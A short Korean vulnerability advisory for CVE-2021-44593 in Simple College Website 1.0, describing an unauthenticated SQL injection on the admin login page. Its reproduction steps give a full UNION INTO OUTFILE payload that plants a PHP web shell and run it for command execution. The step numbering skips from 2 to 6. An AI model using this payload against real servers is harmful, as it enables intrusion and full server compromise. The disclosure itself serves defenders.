CVE-2021-44593

CVE-2021-44593 공개 공개. Simple College Website의 SQL 인젝션/임의 파일 업로드/원격 코드 실행 취약점.

설명

Simple College Website 1.0은 /admin/login.php 페이지의 "username" 매개변수에서 인증되지 않은 UNION 기반 SQL 인젝션에 취약하며, 이를 악용하여 임의 파일을 업로드하고 원격 코드 실행을 얻을 수 있습니다.

영향을 받는 구성 요소

admin_class.php의 login() 함수

재현 단계

1. 관리자 로그인 페이지에 접근합니다 (일반적으로 /admin/login.php)
2. 다음 UNION 기반 SQL 인젝션이 포함된 POST 매개변수 "username"으로 로그인 양식을 제출합니다:

' union select null, null, ("<?php system($_GET['cmd']);?>"), null, null INTO OUTFILE '/var/www/html/testing.php'; -- -

6. /testing.php?cmd=id로 이동합니다

참고 사항

1. 웹 서버 루트 디렉터리 위치에 대한 정보가 필요합니다.
2. 문서 루트 디렉터리가 웹 서버 루트 디렉터리와 다른 경우, 문서 루트 디렉터리 위치에 대한 정보도 필요할 수 있습니다.
3. 또한 MySQL 데몬은 해당 디렉터리에 대한 쓰기 권한이 있어야 합니다.